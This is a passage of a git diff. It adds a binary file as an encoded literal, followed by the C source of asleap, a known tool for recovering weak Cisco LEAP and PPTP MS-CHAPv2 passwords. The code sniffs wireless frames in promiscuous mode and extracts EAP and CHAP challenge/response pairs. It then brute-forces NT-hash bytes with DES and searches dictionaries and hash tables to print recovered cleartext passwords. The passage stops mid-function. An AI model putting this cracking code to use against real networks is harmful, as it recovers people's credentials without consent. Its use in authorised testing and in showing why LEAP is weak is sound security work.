zEJ&(oJqcvWW<4zx7;})G0|Hn5LZ*`GrO3N^POoB-V|qPKmK&yjLMm@6y$h-0gY|x- zvQE@TkQz`%pF--)L4BTNvc83r3&-jEAQc|z7dY8`wtfjxB|yIdQ4jTNkjXbi0z*ON zu~0#E4xuZf2W&D3@<$d?PyzGAmEl>J3QFzmC$5acog^IQG+zQ>HLi$HuF6CC@JseM z5w4@o(ix{tcM)fte|1p~zt$Hw$0B^J0eLxVi?^f9BheW5<3$W#Ixo?!q(f=d zaI?#b(_>4lXq(No==(4dJJ2Vm($?1tkSab=!vn2O4X5~4Tg!_Fy2dqeh@^ceL9Ttt zWg6DdJmPGActK{2xSWv*AiwpJ_*PscnPZi8m`nhv;GuWp)^1&8YRn%)WDQJ(p)#$b z<#4W3F(x$?JGPm#cqZ}(NrPsG{_an!}GfXW`?CqlS5EXyQ@#sm@l! zK#{4^Vh^lbL`AkgE75D`yHsHocOs~p^N3sDcO!zznx9y;Z5**`qfXS;^=1)4&2yr% zOI$?kRNIHxsjfd`7{l5SHFZlQYVv4D)HHDnef)WRh?H)hCQ_;ut$i@`rZcM1A%tqU zf+vyE@<+7oA~YvT+}c8`uFwZYYTNw`t4<}qO&k^Zl-TJ&4q9?^_7giL9VT{4lNzYW z@N?#LyIJRenvATOftrk2*@>6>Pa}#raFuweL@q{W{rl6Kwz(NGQhh%S7BreH5O3OE zKLJO>o(u2&@krcg`%Z`(t@LnV!OTr12HUBKuwV)&0VnBgUmL0&N!~O1G* zyHJ>J(M9pJeJCrA;EILma8v2~2q*TsB!J-gGvUPchlLZT)Kg-)nfi&#=j0ig;}t$#CN#AyD095FpO!gZ*H24C<-rSC zNE4Ay!o3xa$#5v}MB*#io#-(#I@Xm5qW5i%L94Ggjz(+|$C2M|aU3;L`WoKPDOMb> z)v`-eqNE z7aA!Zs?+h}h>Tk=Yji68BL2v{mt?6<{$Duwjl?H1H|x|nnVWSM3-xfaUkdqtP_15q z07oT>e8>VpoP%C=Ov;6i!?ygBW6w06qYiPiuDIO@hRsyN1cuFwsG<^GXnj{0r@FT= zM>!02z-|mn&%t!IJi19YOM?jU?}e5X|K6{=#J^Xqu~c1P9TigVUwo*o65 zxw@?^u$fp>j{)|)w~6a)jGjA)gN^RRWo`HGL0nm*_OIYd2{omxehE^$8J9??ny z5%Z|I-uf+4UY>dw@JSOxuLN4zJ5_H1862X2!AXw-j_#elktTb<5C%eAcGEF+d?y@J zM$c%v5u4p)Af$Rt8uY`P(tQ8xHqG~2b7}M)%s``WXfc}a4`0xsH1H!$xjQa2#FKW& zGtjn~dt#cHG4cebiKRL#XLCaB`_S#s>$sy-*6CP3p@Ld-N?Fe{TsaY0g;UCw*T$4G zqr_HDDXX-TZq^cSIE~EZKHaP>@^Ko$^ud@+rb^V}Q~|G+oFp(Mp5dYy`RU3iQHE0m zT#As9&-CU~A4kyHI-xS1t#2%Jvo`Y3t_XGwrQ@zlRk}1%0Izky4{_knF4+(|Yu5!JiN@{r=gF_W4&M8ELCQ&8TDb6WGkF#>P^l3!J z)b%;tjjKF44hr65ICITRy2DCbgOV~#1sKR2(v6BK(>N-ocYkrh5FFJ|Nh|-PN=n(2 z!OO_OR7n;I_H^;03GXvdLnSGv52BKG11=)9yp(9BHXW&%jGVbeGwqxplZ1xAFhG$F zO{t(%i&cV=mcA7Qbzr<;B(H-Kx2)PkrqNWMDfVRQlOhU>9}`gscyb4~?j6g?F-FR_ z;yh1xNG8yqw0#e2*-%PERk@KYNi4s{CK$1X3MYSFD}r&ZNoLhMKV$gC$h(Z|6xGgb z5``I!>1W`k@~uU{MO=}N0aL690G=>H%81u~_HI63t&WwOx9clXx7!%GdGc_Px_yt! z&AVlio7Wm3GPvR`nZz2GQbIh7*NO05cTncCPRvZw$j5)MZtChZ$}pqN5RqX&4V4dn_1hvcY&Q%`6e$k4i6V{5iqygfnlL|B?Y<%N zW1Bve`LPrC%a?hAigLN6F`=h?FsxrHvB_)t={dOIT46mG6@kx{6QUJNqwx(LMju_6#nF(TNWEaSXdqvAw~K^0ykV$Q#nh`GZLB@~sZxqME; zxtXk*?01SQBaNZ$^$`%aXpL_psJVw^+2fWW{D6jG8853Jb1l`^k=Nv|I1S!c<%|Ub zIGW2IBlpNxHNxx3>PJgYepSQpwS85?rGtDqV|tQ&NbW`_E^Rbsf6yZ!I>VlcbRAt+ zRxxfIC1Q1FtccY@&f;u1l$q-m)mAheNTpLGd}5GU+WS*|dh<4l;E&!`nvh46^>Pc5%H2*VQd5%MkrG(k)@E4CiV@BPm$_ zio8j6xhPQu_R$AH7VnpDbEM2DzKR>3;;ZO>g-aBT`PKDtkc7*!QZeL^K8e(X7UIXS z+|j3TdBs0uLyglPxNgyy-awxNX)#P+LSB~hvS9J|VGORTVlJ{^apWs~6Gghsm352x zv+LW)!y?E#AldVYQ>5S-S;bgtslJDj@tI^5W%VNelp87E^n7oy18jU6R ztO-ch$@&>iHs7b8gCvgQLPxbKhkgmtW{|9R48xiiq;@T^eZV7|tbU9dra$2F_Vs1; zeV=z7@^mK3~=SzOZ5@HEs(G#vIKKlL%kWPB6(#A zX2-JPB^o_R)?Q}t&_Cn4;eN6Nvwvf~3nd3d>D?f6?$VKDI7QKsWYl@7_kqlwp!b7h z&!T@tk^G7J0LYRO`XEj&yeYn>zGuYObThd=io7OC`XtD~Mfw!Tr!ajQ&Hl?UoPuM=S^=eOUqBt z!;zZwS&sn8yiQ|@srnP&&ID<*l1ofgyG?pB$kdb?-w091YSU4s?z!k0Af@l}Q#8sv zKwM7mcI!Wwx+`C#X@6S(jnpk}aOdO6%Y>aX$o6p9o+ zqE92$&qAk=~h@)nnQ9@T#r^gn-`p#RuCVp?7;LVLj&{#dNYBBRA_Oy{F_ z<0QV_whxN8+j?!s|gto%MEiBz@BBx|L-@)E< z$v|5n@(z2i*73x1v<)T)&}lVeE^ULYE)4s<7(v(7hIh0CE=STu<@!QAN3Z`B zV7_#bOeh?^Sw0=OxWD)?o1GLtl1n}DVXpSq3owXkwGl_qh2r9NJo!v7#*j)V#fgDx zasx5sOYD%*Iys+sdDebJ6Qdh4{)Uml9pjRjvYUmICz|pk$2r+Cj+>u-vtt~$7UPa_ zrUKkCjC*sXHW_KqL$Ws)ca{2gdvjrV9NOH;Fy;QTyIeZ<)Hl1!ai^vpYn|}F>@Mfb zAK&gSmjS&gyUTHVA?_}hiHq*P?k<;^ea_wGvX~5RBlNGk%W+Skue;09@7U&sDV9(C zx?l;7(q*xv7&V`-La^M&DS>u@~*(FW(S>p~h?4WPAXe#KdZ5X)!>mPaM7ht~oth1Q2{|jHHjYmZ+|M0bGs@ng-XY~T%;A&21 zOw@n%<9h59b1j4z3`X$(i{CnxjzrI{X+%&0e`;|uxSU1g1xt(vqm%KWF)U#C|0|8v z|D!970TGInCY-~BS2tLtQ14(B`v)Yy89>53=2n2H-+kiP49A`0ExSg}(*RNy!);*!b*>GP2)T~QEK)LBp zXcuEsc|ysx#RwnQogklI8XRNJC zP`Iftf#3!og1>c%T(z@y86$cdKN9S$zpDLFCKG33u8k$+*>K9t&!VkuWIhA3CQ7Dj zuNiFqgC`Ligb=KXUvD_z*31?&VqGG%3BfPCV5?NQnOVB;Bj(2NaH z;^JSQS6uw-I?K0bHx}WnYGdtWxj7nO!)BtojZfJO8`ep%Zru?H)~y{bYdALc5nt%W zTmrc^6%oj_senMPO>HD}x9*^s0pE2M%vc|<@MU~^*Z-5q(hE#@muK>Lw8_TB+6Px| zqceHUdCmdD+-E^vIhI3H*!Su+nQ~BX2c@(t!PBWd5Immq}DtY2dm77&ucCLK+A zQ}PEl?M?Lqtl|aVY}(7cQNM##X&kVM@Qtu4-S@C6y#rP`n~V%B@-LhA5|4d_RY>&r z11jRakKdu9uN4tgl-YrbxCx}7B7(NBsEF5pgNlgVzC}fZY5#zVh}DRSzCP?LD#}U3 zMwr7)+m^J1IYb~%5~=Zg~WUI&wF1sd(#ezzh&eqh1&yA`ngZY37u z_Pdq&gWK;`!4Gb~Tb1;i?RTqjz3`mS*BeD_+wXFGe%XFEUoE>WSD-cu&{C^oGU_@kHEvD(?<}lVbvmu_cZZhPMbDg*fdspvrWeSCocgC zQ)AIp@Qubw?a)}s92zUl4;qUXe50|bm%h_j=^Pr11{XCJKTGnBBY>-N#1W9uBwFZS zH5NA@{#T7fMf9D<`dSguSXmt!OLP%8P^S|5sw)1t9xI{&D#Tpb$A&7raKu@p3xy#fx6#kUcS zm7nEUKb! zG*(e2zi6xs#gL?;ve(LqH~J~FDR*&Gb^8ZJ z(EkVj902oA1v%ojRUlyAdV^!_ry=zDZ9#m-Q$gqlhsP?6D1}Y3m3wsWuoz!I(3mJ2 z?dtdy5*`y66{*~#0)s=sgCdlBK<{whun>Rc-qkm{t0Zx;jmAVNcih%JE-)%OBqIE~ zgcW&FfuX$I_9HShM!AQChv5I1z+U*jas6g3QGr;$XyqP+3>1q9@Qv|R?txvcK~cV8 zfy&)KCL#*i0X7mG5#uhmu@#F74X}p!qOLfPSFxRp_KU^^@}GZ1SXf{nwwt(3howgei=aX!q~KMF0xCh(1ki3;(H zjp41sq@cU6Ux-IpH28nxK+r_`D4DY08%3DNiZn37mxKMsBR{5QK>sV2gD;nV3OMJ> z0j(%$#2UVo^FcZOVb+YC1A$G003!a%;}4-F-Y;1^2>y%&`#BIP$FlI*E66XFb1Hz- z_%mHYnss5_SjHKD-uQ!ygymA;9RHH_L)vjT-lJi}=g$b?uw1G^2;JdNu^j8d1A<)s z+M(Ph`E5z{0p;+gT=DnqbCFcR_=69g_e-4{RmGp;`#SE&`tf}u@#iSl2<7l+VB)8g zgMa=@yY$9y*43;mX%;K&Fo54|YsbO+@fe6dN4X~`hrb0DX4nsBI~@*cFPBsrp)UN% zd)Tw(x%@o|e~xm^P!4~p5;N?F`1$4cCHzidyWbu}e)#t#@7r?MSq^`A?j96pIU}A0 z><6FA;|~7#zNMM4->;VKxBSmM{ynx+If-)3z_J#5g2d5&FCwA5zMelAkKYTvrX77_ zn7%J}s5C4h%=G$l@R>M_^xv0zxDwCJZ_Be4u>Cgjd|&SQF}USB|3kT=-<30Rmw>wB zxO5!$_b@8h%axW4BmXdHK6p{S9QJlGJiohNvMVsW2IJJ1!|@(XAYWd7Icw@N0>7QV zq-|}CB=+t6@*BTQU8a3ghCl81Q^$ zA`R;uho{IArol^+enNsY0%tfpMK&;<-JX{BKpHVc$#>iz@%XO?@~Qj397t1leL0ZM z^Cf{FNPjbqC7t(&eAge+Za<{+{gBT8L%P5Z>4Hc*_!f-$`6<#HlqGE~dpW-67W;2U z{+=JwM;+~t8?pT_A}xG^G~55KqyLa*JH5yKoADlCR@@(=+LCtMH|hLHQ#L#DE2I4_ zNE)~v?F(Gwxrg<0vZvc9OS(BoJIebZzaEm=ZTV^s^LW_a&j?5TWE>zL^)>o_Uq55C zvaG(w^0xZ@`2Gg$dzPuy#rT(`a;|KT0_%WW@^t#j+;~`lZ;71=`h5Lb}l4Vg|mTOF7p)>k7nT=BA63o7b!~@=#wwkLtohr z`}OFLEJct%&VK)2(B559!U>H9eoFSMvb5#%>)G?q{BZpRW!WjG@}(e2_U`+9lasP! zD}n2C+pafd!2Q|(&bIrTG9kSH`BWfyo(X@p!&X0&3-ZyBq>$Wv1tx%lh#jekg^zxLqzFZT=jAwT?wbgZ&? zT*mWO+n+c1hkT45=Spa&0DJxnv>)3;+1k&v{r+;5n@yzmaoAdSOx4&(b8 zew?)DUq|_7NRP6o?<-5bb*O$Pd-@IXD^f&a2QwQXi{w6;_ zSt?p^|I+sR^-z}fgHVpoN4=Z|C`<0#z+4IT^cY+#2hup4P&eCQPbVsiH6CX!+sm(1 z7XNFweiK7=Qz~Q-v69O_TBwj{*dm9_K^O^^C1i2qqL>j ze@sIk)N2MPQ_X(=K|fqS(ve1a96DZE(yzl0J3s1acD&=L&pc&Wjz_5(_WLcv^DsUf z{GyYTrQKqr?d`93DofT)NcXar-;dvNAdN$x5`zEi=?g!kul%pBYS>{@1Jk3`a{|a{KfuL z;78oc+yv<-_B8O8IpBx#Vc++cIr@kEK901j{4i73$YHM!^g|8{-siII{mtu@#n%S~ z9PfwrUcMapx$XG}?f8{x;8*i8WhsI3W+!_-WR>ke8i)BF>Q@av?Bn13L|LkrMtd)| zl}`@&li3IPha_DpDk37LR77N8c+aSqlFfhBjB)nu; zNMy9tqg;1?Yp}n6$#U+MO2T>N8x>)V^$rd3^DkN2y|TN9hkMylej(wd+}%szWGR#^ z#p_BsZjVc1dzFm!=M|-J4|fk1{qpbMm*w63qhiXqN2soF@zKLaZ=Soq!dbZYf`ahV zYV~f_w1u@%{g$n)R-|fum#SUQTBn6)JIA4lrzQ^X-DPw|Zo4fKuVYr@SK5$@hq#h}F_BLkyU zY)nXKG;(~S{X;^6db@j6EL%yzSqRr5de7aXQt2`(x~p#)HVnO>)|RbWd$mNnG;7h+ zyLPSCEo!5snl$vRTie>o)2mT! z2nvc0j6t>eX4a@cCPL8-0fBMRDhLn2|Kyhnb8z1m*cil)K)tMHhJuF+`fFI{Qt4SHcMmb#7VdwE;Sx|hbaczigW#CRs% z&Y`~1F=bU(6&Mxe7mMfCDyOW0;_r=AL6Nbj7b+PM%ktr9givu+Tg9my6cic@zqQ;F zCjxv!L*;d%WBvUD;VKTYw`N#in15t%1wXE@e|LEag?mNyj*PLtS7c;NWMD7*g1~9fHsrRNd0K9P~Y(GU*1C+0k0bYX2eZm zB4R^P51VwyxWeP5%cX}xL*l?{A;A<0Rx5_Q)h@*9HfrkS*~r?oPMwyuTRG$k#(QA* z2ymq}h#?c)JTx%eCN~^o^gF2`&tboU3%Y;h5x*!zK2)v1=-T!n!`5jXiGpY_Y6Qih k7wQ;4V4m;@YiNYOZw$jmcrD+k;4gje=rtRQe;xk+2mcXi@c;k- literal 0 HcmV?d00001 diff --git a/asleap/src/asleap.c b/asleap/src/asleap.c new file mode 100644 index 0000000..0d1c4c0 --- /dev/null +++ b/asleap/src/asleap.c @@ -0,0 +1,1652 @@ +/* + * asleap - actively recover weak LEAP passwords. Pronounced "asleep". + * + * Copyright (c) 2004, Joshua Wright + * + * $Id: asleap.c,v 1.30 2007/05/10 19:29:06 jwright Exp $ + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. See COPYING for more + * details. + * + * asleap is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +/* + * Significant code is graciously taken from the following: + * MS-CHAPv2 and attack tools by Jochen Eisinger, Univ. of Freiburg + * AirJack drivers by Abaddon. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include + +#include "asleap.h" +#include "utils.h" +#include "common.h" +#include "version.h" +#include "sha1.h" +#include "radiotap.h" +#include "byteswap.h" +#include "ieee80211.h" +#include "ieee8021x.h" +#include "ietfproto.h" + +#define SNAPLEN 2312 +#define PROMISC 1 +#define TIMEOUT 500 /* for pcap */ +#define PROGNAME "asleap" + +/* Globals */ +pcap_t *p = NULL; +u_char *packet; +struct pcap_pkthdr h; +char errbuf[PCAP_ERRBUF_SIZE]; +int success = 0; /* For return status of attack */ +unsigned long pcount=0; + +/* prototypes */ +void usage(char *message); +void cleanup(); +void print_leapexch(struct asleap_data *asleap_ptr); +void print_hashlast2(struct asleap_data *asleap_ptr); +void print_leappw(struct asleap_data *asleap_ptr); +int gethashlast2(struct asleap_data *asleap_ptr); +int getmschappw(struct asleap_data *asleap_ptr); +int getpacket(pcap_t *p); +int listdevs(); +int testleapchal(struct asleap_data *asleap_ptr, int plen, int offset); +int testleapsuccess(struct asleap_data *asleap_ptr, int plen, int offset); +int testleapresp(struct asleap_data *asleap_ptr, int plen, int offset); +int findlpexch(struct asleap_data *asleap_ptr, int timeout, int offset); +void asleap_reset(struct asleap_data *asleap); +int stripname(char *name, char *stripname, int snamelen, char delim); +int attack_leap(struct asleap_data *asleap); +int attack_pptp(struct asleap_data *asleap); +int testpptpchal(struct asleap_data *asleap_ptr, int plen, int offset); +int testpptpresp(struct asleap_data *asleap_ptr, int plen, int offset); +int testpptpsuccess(struct asleap_data *asleap_ptr, int plen, int offset); +void genchalhash(struct asleap_data *asleap); + + +int stripname(char *name, char *stripname, int snamelen, char delim) +{ + char *loc; + + if (name == NULL) + return -1; + + loc = strchr(name, delim); + if (loc == NULL) { + strncpy(stripname, name, snamelen); + return (1); + } else { + ++loc; + strncpy(stripname, loc, snamelen); + return (0); + } +} + +/* Program usage. */ +void usage(char *message) +{ + + if (strlen(message) > 0) { + printf("%s: %s\n", PROGNAME, message); + } + + printf("Usage: %s [options]\n", PROGNAME); + printf("\n" + "\t-r \tRead from a libpcap file\n" + "\t-i \tInterface to capture on\n" + "\t-f \tDictionary file with NT hashes\n" + "\t-n \tIndex file for NT hashes\n" + "\t-s \tSkip the check to make sure authentication was successful\n" + "\t-h \tOutput this help information and exit\n" + "\t-v \tPrint verbose information (more -v for more verbosity)\n" + "\t-V \tPrint program version and exit\n" + "\t-C \tChallenge value in colon-delimited bytes\n" + "\t-R \tResponse value in colon-delimited bytes\n" + "\t-W \tASCII dictionary file (special purpose)\n" "\n"); +} + +void print_pptpexch(struct asleap_data *asleap_ptr) +{ + + int j; + + printf("\tusername: "); + if (IsBlank(asleap_ptr->username)) { + printf("no username"); + } else { + printf("%s\n", asleap_ptr->username); + } + + printf("\tauth challenge: "); + if (asleap_ptr->pptpauthchal == NULL) { + printf("no challenge"); + } else { + for (j = 0; j < 16; j++) + printf("%02x", asleap_ptr->pptpauthchal[j]); + } + printf("\n"); + + printf("\tpeer challenge: "); + if (asleap_ptr->pptppeerchal == NULL) { + printf("no challenge"); + } else { + for (j = 0; j < 16; j++) + printf("%02x", asleap_ptr->pptppeerchal[j]); + } + printf("\n"); + + printf("\tpeer response: "); + if (asleap_ptr->response == NULL) { + printf("no response"); + } else { + for (j = 0; j < 24; j++) { + printf("%02x", asleap_ptr->response[j]); + } + } + printf("\n"); + +} + +void print_leapexch(struct asleap_data *asleap_ptr) +{ + + int j; + + printf("\tusername: "); + if (IsBlank(asleap_ptr->username)) { + printf("no username"); + } else { + printf("%s\n", asleap_ptr->username); + } + + printf("\tchallenge: "); + if (asleap_ptr->challenge == NULL) { + printf("no challenge"); + } else { + for (j = 0; j < 8; j++) + printf("%02x", asleap_ptr->challenge[j]); + } + printf("\n"); + + printf("\tresponse: "); + if (asleap_ptr->response == NULL) { + printf("no response"); + } else { + for (j = 0; j < 24; j++) { + printf("%02x", asleap_ptr->response[j]); + } + } + printf("\n"); + +} + +void print_hashlast2(struct asleap_data *asleap_ptr) +{ + + printf("\thash bytes: "); + if (asleap_ptr->endofhash[0] == 0 && asleap_ptr->endofhash[1] == 0) { + printf("no NT hash ending known."); + } else { + printf("%02x%02x", asleap_ptr->endofhash[0], + asleap_ptr->endofhash[1]); + } + printf("\n"); + +} + +void print_leappw(struct asleap_data *asleap_ptr) +{ + + int j; + + printf("\tNT hash: "); + /* Test the first 4 bytes of the NT hash for 0's. A nthash with 4 + leading 0's is unlikely, a match indicates a unused field */ + if (asleap_ptr->nthash[0] == 0 && asleap_ptr->nthash[1] == 0 && + asleap_ptr->nthash[2] == 0 && asleap_ptr->nthash[3] == 0) { + printf("no matching NT hash was found."); + } else { + for (j = 0; j < 16; j++) { + printf("%02x", asleap_ptr->nthash[j]); + } + } + printf("\n"); + + printf("\tpassword: "); + if (IsBlank(asleap_ptr->password)) { + printf("no matching password was found."); + } else { + printf("%s", asleap_ptr->password); + } + printf("\n"); + +} + +void cleanup() +{ + + if (p != NULL) { + printf("Closing pcap ...\n"); + pcap_close(p); + } + + if (success == 1) { + exit(0); + } else { + exit(-1); + } +} + +int gethashlast2(struct asleap_data *asleap_ptr) +{ + + int i; + unsigned char zpwhash[7] = { 0, 0, 0, 0, 0, 0, 0 }; + unsigned char cipher[8]; + + for (i = 0; i <= 0xffff; i++) { + zpwhash[0] = i >> 8; + zpwhash[1] = i & 0xff; + + DesEncrypt(asleap_ptr->challenge, zpwhash, cipher); + if (memcmp(cipher, asleap_ptr->response + 16, 8) == 0) { + /* Success in calculating the last 2 of the hash */ + /* debug - printf("%2x%2x\n", zpwhash[0], zpwhash[1]); */ + asleap_ptr->endofhash[0] = zpwhash[0]; + asleap_ptr->endofhash[1] = zpwhash[1]; + return 0; + } + } + + return (1); +} + +/* Accepts the populated asleap_data structure with the challenge and + response text, and our guess at the full 16-byte hash (zpwhash). Returns 1 + if the hash does not match, 0 if it does match. */ +int testchal(struct asleap_data *asleap_ptr, unsigned char *zpwhash) +{ + + unsigned char cipher[8]; + + DesEncrypt(asleap_ptr->challenge, zpwhash, cipher); + if (memcmp(cipher, asleap_ptr->response, 8) != 0) + return (1); + + DesEncrypt(asleap_ptr->challenge, zpwhash + 7, cipher); + if (memcmp(cipher, asleap_ptr->response + 8, 8) != 0) + return (1); + + /* else - we have a match */ + return (0); +} + +/* Use a supplied dictionary file instead of the hash table and index file */ +int getmschapbrute(struct asleap_data *asleap_ptr) +{ + + FILE *wordlist; + char password[MAX_NT_PASSWORD + 1]; + unsigned char pwhash[MD4_SIGNATURE_SIZE]; + unsigned long long count = 0; + + if (*asleap_ptr->wordfile == '-') { + wordlist = stdin; + } else { + if ((wordlist = fopen(asleap_ptr->wordfile, "rb")) == NULL) { + perror("fopen"); + return -1; + } + } + + while (!feof(wordlist)) { + + fgets(password, MAX_NT_PASSWORD + 1, wordlist); + /* Remove newline */ + password[strlen(password) - 1] = 0; + + NtPasswordHash(password, strlen(password), pwhash); + + count++; + if ((count % 500000) == 0) { + printf("\033[K\r"); + printf(" Testing %lld: %s\r", count, password); + fflush(stdout); + } + + if (pwhash[14] != asleap_ptr->endofhash[0] || + pwhash[15] != asleap_ptr->endofhash[1]) + continue; + + if (testchal(asleap_ptr, pwhash) == 0) { + /* Found a matching password! w00t! */ + memcpy(asleap_ptr->nthash, pwhash, 16); + strncpy(asleap_ptr->password, password, + strlen(password)); + fclose(wordlist); + return (1); + } + } + return 0; +} + +/* Brute-force all the matching NT hashes to discover the clear-text password */ +int getmschappw(struct asleap_data *asleap_ptr) +{ + + unsigned char zpwhash[16] = + { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }; + struct hashpass_rec rec; + struct hashpassidx_rec idxrec; + char password_buf[MAX_NT_PASSWORD]; + int passlen, recordlength, passwordlen, i; + FILE *buffp, *idxfp; + + /* If the user passed an index file for our reference, fseek to + map the file and perform lookups based on indexed offsets. + If there is no index file, perform a linear search. + */ + + if (IsBlank(asleap_ptr->dictidx)) { + + /* We have no index file. Do a linear search */ + if ((buffp = fopen(asleap_ptr->dictfile, "rb")) == NULL) { + perror("[getmschappw] fopen"); + return (-1); + } + + fflush(stdout); + while (!feof(buffp)) { + + memset(&rec, 0, sizeof(rec)); + memset(&password_buf, 0, sizeof(password_buf)); + memset(&zpwhash, 0, sizeof(zpwhash)); + fread(&rec.rec_size, sizeof(rec.rec_size), 1, buffp); + recordlength = abs(rec.rec_size); + passlen = (recordlength - (17)); + fread(&password_buf, passlen, 1, buffp); + fread(&zpwhash, 16, 1, buffp); + + /* Test last 2 characters of NT hash value of the current entry in the + dictionary file. If the 2 bytes of the NT hash don't + match the calculated value that we store in asleap.endofhash, then + this NT hash isn't a potential match. Move on to the next entry. */ + if (zpwhash[14] != asleap_ptr->endofhash[0] || + zpwhash[15] != asleap_ptr->endofhash[1]) { + /* last 2 bytes of hash don't match - continue */ + continue; + } + + /* With a potential match, test with this challenge */ + if (testchal(asleap_ptr, zpwhash) == 0) { + /* Found a matching password! Store in the asleap_ptr struct */ + memcpy(asleap_ptr->nthash, zpwhash, 16); + strncpy(asleap_ptr->password, password_buf, + strlen(password_buf)); + fclose(buffp); + return (1); + } + } + + /* Could not find a matching NT hash */ + fclose(buffp); + + } else { /* Use referenced index file for hash searches */ + + memset(&idxrec, 0, sizeof(idxrec)); + + if ((idxfp = fopen(asleap_ptr->dictidx, "rb")) == NULL) { + perror("[getmschappw] Cannot open index file"); + return (-1); + } + + /* Open the file with a buffered file handle */ + if ((buffp = fopen(asleap_ptr->dictfile, "rb")) == NULL) { + perror("[getmschappw] fopen"); + return (-1); + } + + /* Read through the index file until we find the entry that matches + our hash information */ + while (idxrec.hashkey[0] != asleap_ptr->endofhash[0] || + idxrec.hashkey[1] != asleap_ptr->endofhash[1]) { + + if (fread(&idxrec, sizeof(idxrec), 1, idxfp) != 1) { + /* Unsuccessful fread, or EOF */ + printf("\tReached end of index file.\n"); + fclose(idxfp); + fclose(buffp); + return (0); + + } + } + + /* The offset entry in the idxrec struct points to the first + hash+pass record in the hash+pass file that matches our offset. The + idxrec struct also tells us how many entries we can read from the + hash+pass file that match our hashkey information. Collect records + from the hash+pass file until we read through the number of records + in idxrec.numrec */ + + /* fseek to the correct offset in the file */ + if (fseeko(buffp, idxrec.offset, SEEK_SET) < 0) { + perror("[getmschappw] fread"); + fclose(buffp); + fclose(idxfp); + return (-1); + } + + for (i = 0; i < idxrec.numrec; i++) { + + memset(&rec, 0, sizeof(rec)); + memset(&password_buf, 0, sizeof(password_buf)); + fread(&rec.rec_size, sizeof(rec.rec_size), 1, buffp); + + /* The length of the password is the record size, 16 for the hash, + 1 for the record length byte. */ + passwordlen = rec.rec_size - 17; + + /* Check for corrupt data conditions, prevent segfault */ + if (passwordlen > MAX_NT_PASSWORD) { + fprintf(stderr, + "Reported password length (%d) is longer than " + "the max password length (%d).\n", + passwordlen, MAX_NT_PASSWORD); + return (-1); + } + + /* Gather the clear-text password from the dict+hash file, + then grab the 16 byte hash */ + fread(&password_buf, passwordlen, 1, buffp); + fread(&zpwhash, sizeof(zpwhash), 1, buffp); + + /* Test the challenge and compare to our hash */ + if (testchal(asleap_ptr, zpwhash) == 0) { + /* Found a matching password! Store in the asleap_ptr struct */ + memcpy(asleap_ptr->nthash, zpwhash, 16); + strncpy(asleap_ptr->password, password_buf, + strlen(password_buf)); + fclose(buffp); + fclose(idxfp); + /* success */ + return (1); + } + + } + + /* Could not find a match - bummer */ + fclose(buffp); + fclose(idxfp); + + } + + return (0); + +} + + +/* Examine the packet contents of packet, return an offset number of bytes to + the beginning of the EAP frame contents, if present, otherwise return -1 */ +int geteapoffset(u_char *packet, int plen, int offset) +{ + struct ieee80211 *dot11; + struct ieee8022 *dot2; + struct ieee8021x *dot1x; + struct eap_hdr *eap; + + dot11 = (struct ieee80211 *)(packet+offset); + offset += DOT11HDR_A3_LEN; + plen -= DOT11HDR_A3_LEN; + + if (plen <= 0) { + return -1; + } + + /* Discard ad-hoc and WDS */ + if (dot11->u1.fc.from_ds == 1 && dot11->u1.fc.to_ds == 1) { + return -1; + } + + if (dot11->u1.fc.from_ds == 0 && dot11->u1.fc.to_ds == 0) { + return -1; + } + + if (dot11->u1.fc.type != DOT11_FC_TYPE_DATA) { + return -1; + } + + /* Ensure valid data type */ + switch(dot11->u1.fc.subtype) { + case DOT11_FC_SUBTYPE_DATA: + break; + case DOT11_FC_SUBTYPE_QOSDATA: + offset += DOT11HDR_QOS_LEN; + plen -= DOT11HDR_QOS_LEN; + break; + default: + return -1; + } + + if (plen <= 0) { + return -1; + } + + dot2 = (struct ieee8022 *)(packet+offset); + offset += DOT2HDR_LEN; + plen -= DOT2HDR_LEN; + + if (plen <= 0) { + return -1; + } + + if (dot2->dsap != IEEE8022_SNAP || dot2->ssap != IEEE8022_SNAP) { + return -1; + } + + if (ntohs(dot2->type) != IEEE8022_TYPE_DOT1X) { + return -1; + } + + dot1x = (struct ieee8021x *)(packet+offset); + offset += DOT1XHDR_LEN; + plen -= DOT1XHDR_LEN; + + if (plen <= 0) { + return -1; + } + + if (dot1x->version != DOT1X_VERSION) { + return -1; + } + + if (dot1x->type != DOT1X_TYPE_EAP) { + return -1; + } + + /* If the dot1x length field is larger than the remaining packet + * contents, bail. + */ + if (ntohs(dot1x->len) > (plen)) { + return -1; + } + + /* If the dot1x length field is smaller than the minimum EAP header + * size, bail. + */ + if (ntohs(dot1x->len) < EAPHDR_MIN_LEN) { + return -1; + } + + eap = (struct eap_hdr *)(packet + offset); + plen -= EAPHDR_MIN_LEN; + /* don't update poffset as we want to point to begining of EAP header */ + + if (plen < 0) { + return -1; + } + + /* 1=request, 2=response, 3=success, 4=failure */ + if (eap->code < 1 || eap->code > 4) { + return -1; + } + + /* EAP packet, return with offset to beginning of EAP data */ + return offset; +} + +/* Examine the packet contents of packet, return an offset number of bytes to + the beginning of the EAP frame contents, if present, otherwise return -1 */ +int getpppchapoffset(u_char *packet, int plen, int offset) +{ + struct ieee80211 *dot11; + struct ieee8022 *dot2; + struct iphdr *ip; + struct grehdr *gre; + struct ppphdr *ppp; + int iphdrlen; + + dot11 = (struct ieee80211 *)(packet+offset); + offset += DOT11HDR_A3_LEN; + plen -= DOT11HDR_A3_LEN; + + if (plen <= 0) { + return -1; + } + + /* Discard ad-hoc and WDS */ + if (dot11->u1.fc.from_ds == 1 && dot11->u1.fc.to_ds == 1) { + return -1; + } + + if (dot11->u1.fc.from_ds == 0 && dot11->u1.fc.to_ds == 0) { + return -1; + } + + if (dot11->u1.fc.type != DOT11_FC_TYPE_DATA) { + return -1; + } + + /* Ensure valid data type */ + switch(dot11->u1.fc.subtype) { + case DOT11_FC_SUBTYPE_DATA: + break; + case DOT11_FC_SUBTYPE_QOSDATA: + offset += DOT11HDR_QOS_LEN; + plen -= DOT11HDR_QOS_LEN; + break; + default: + return -1; + } + + if (plen <= 0) { + return -1; + } + + + /* IEEE 802.2 header parsing */ + + 